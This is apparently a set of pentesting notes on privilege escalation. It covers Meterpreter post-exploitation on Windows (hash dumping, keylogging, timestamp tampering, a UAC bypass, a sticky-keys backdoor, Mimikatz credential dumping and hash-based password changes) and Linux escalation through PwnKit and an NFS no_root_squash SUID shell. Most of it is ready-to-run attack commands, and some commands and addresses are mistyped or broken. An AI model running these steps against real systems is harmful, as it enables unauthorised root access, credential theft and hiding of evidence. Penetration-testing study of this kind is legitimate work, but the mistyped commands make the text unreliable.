# Privilege Escalation

## Tools

After you have a meterpreter session, use the following command to check the user.

```
getuid
```

### BeRoot

We can use **BeRoot** tool to check for further attack vectors.

{% embed url="<https://github.com/AlessandroZ/BeRoot>" %}

uploading with meterpreter. Files go to downloads folder by default

```
upload beroot.exe
```

Now run shell and then execute the file. It will list the attack vectors.

<figure><img src="https://1514962002-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpTrTOeiXI4TBz6mH8QC8%2Fuploads%2FHr70YpGGxLXOssGGRGEt%2Fimage.png?alt=media&#x26;token=ba124d0f-6dbe-4a3b-8e0f-3a96c02d8d59" alt=""><figcaption></figcaption></figure>

Note: Windows privileges can be used to escalated privileges. These privileges include SeDebug, SeRestore & SeBackup & SeTakeOwnership, SeTcb & SeCreateToken, SeLoadDriver, and Selmpersonate & SeAssignPrimaryToken. BeRoot lists all available privileges and highlights if you have one of these tokens.

### **Ghostpack Seatbelt**

{% embed url="<https://github.com/GhostPack/Seatbelt>" %}

Gather information with following commands

```
Seatbelt.exe -group=all -full
Seatbelt.exe -group=system
Seatbelt.exe -group=user
Seatbelt.exe -group=misc
```

### Dumping hashes in meterpreter

```
hashdump   // or try the following
use post/windows/gather/smart_hashdump
```

## Post exploitation using Meterpreter

{% embed url="<https://www.offsec.com/metasploit-unleashed/msf-post-exploitation/>" %}

Useful commands

```
sysinfo
getuid
ifconfig
pwd \\(mostly downloads folder)
ls
cat
cd
keyscan_start //keylogger
keyscan-dump
idletime
```

To modify the timestamp MACE (modified, accessed,created,entry) attributes

```
timestomp secret.ext -m "2/11/2022 8:10:03"
```

To view timestamp entries

```
timestomp secret.ext -v
```

{% hint style="info" %}
-a accessed

-c created

-e entry modified
{% endhint %}

## Finding files in meterpreter

`search -f flag*.txt (in meterpreter)`

## Hidden files in shell

First get the shell, then use the following command.

```
dir /a:h
```

## List all running services in shell

```
sc querytex type=service state=all
```

## Other shell commands

```
netsh firewall show state \\firewall state
netsh firewall show config
wmic cpu get 
wmic /node:"" product get name,version,vendor
wmic useraccount get name,sid
wmic os where Primary='TRUE' reboot //restarts system
```

<figure><img src="https://1514962002-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpTrTOeiXI4TBz6mH8QC8%2Fuploads%2F4PGMtYD2qmF1frxjUPBg%2Fimage.png?alt=media&#x26;token=303629ea-5c4c-44fc-9516-f4faa5fdf1af" alt=""><figcaption></figcaption></figure>

## pkexec: Linux

**CVE (2021-4034)**

Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).

{% embed url="<https://github.com/berdav/CVE-2021-4034>" %}

{% embed url="<https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034>" %}

Download and run the script.

## NFS Misconfiguration

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/>" %}
An excellent Tutorial
{% endembed %}

### Configure NFS in Victim

```
sudo apt install nfs-kernel-server
```

open /etc/exports file. This file contains the list of shares you want to share in the network. Add the following entry.

```
/home    *(rw,no_root_squash)
```

{% hint style="info" %}
Home directory is shared and root user can perform read/write
{% endhint %}

restart the server

```
sudo /etc/init.d/nfs-kernel-server restart
```

If we run the nmap scan now, port 2049 will appear as open.

<figure><img src="https://1514962002-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpTrTOeiXI4TBz6mH8QC8%2Fuploads%2F1RUaVM4A4uYsLUEtBKrd%2Fimage.png?alt=media&#x26;token=7d30fba3-16db-423f-b251-3c8f84c393eb" alt=""><figcaption></figcaption></figure>

### In Attacking Machine

Now install NFS commons

```
sudo apt install nfs-commons
```

check the mouted folder

```
showmount -e 192.168.18.110
```

Now mount the share

```
mkdir /tmp/nfs
sudo mount -t nfs 19.168.18.110:/home /tmp/nfs
```

Now move to the directory

```
cd /tmp/nfs
cp /bin/bash .
chmod +s bash   //allows the group to execute it
ls -la bash
```

to check free space

```
sudo df -h
```

<figure><img src="https://1514962002-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpTrTOeiXI4TBz6mH8QC8%2Fuploads%2FATkgkAY3eXdka0ZQ472r%2Fimage.png?alt=media&#x26;token=2eecf4c0-6848-4086-ab74-a67d8f294f85" alt=""><figcaption></figcaption></figure>

Now ssh into the machine. Move to the shared directory and run bash and we will get the root shell.

```
cd /home
./bash -p
```

useful commands post exploitation

```
id
whoami
cat etc/cronjobs
find / -name *.txt -ls 2>/dev/null  to list all text files in system
route -n  host/network names in binary format
```

Now copy nano to current directory and then read shadow file

```
sudo cp /bin/nano .
./nano -p /etc/shadow
```

To see running processes

```
ps -ef
```

To view executable binaries

```
find / -perm -4000 *.txt -ls 2>/dev/null
```

## Bypassing UAC and sticky keys

After you have a meterpreter session background it and then use the following exploit

```
use exploit/windows/local/bypassuac_fodhelper
```

Then once you get a new meterpreter session, use the following command

```
getsystem -t 1
```

**Using sticky keys to priv esc on Win 11**

After the initial meterpreter session, use the following module.

```
use post/windows/manage/sticky_keys
```

Now set the already priv escalated session in options and exploit it.

Now on Windows 11 , sign in with a normal user and once you press the stick keys(shift 5 times), you will get cmd as admin.

## Mimikatz

{% embed url="<https://www.hackingarticles.in/metasploit-for-pentester-mimikatz/>" %}

Metasploit has built in module for mimikatz call kiwi.

First get a meterpreter session. Escalate privilege using bypassuac.

In meterpreter load the module

```
load kiwi
help kiwi \\to see help
```

<figure><img src="https://1514962002-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpTrTOeiXI4TBz6mH8QC8%2Fuploads%2F0nM6tgZF1Gu827oAY8cb%2Fimage.png?alt=media&#x26;token=04582e95-83c5-4ea9-b854-6d2ea6c70ff2" alt=""><figcaption></figcaption></figure>

to dump hashes

```
lsa_dump_sam
```

We can also dump LSA Secrets using the following command. LSA secrets are used to manage local system security policy. it may contain passwords, IE passwords, SQL passwords etc

change the password with kiwi with hash without knowing the original password.

```
password_change -u raj -p 123 -P 9876
password_change -u raj -n <NTLM-hash> -P 1234
```
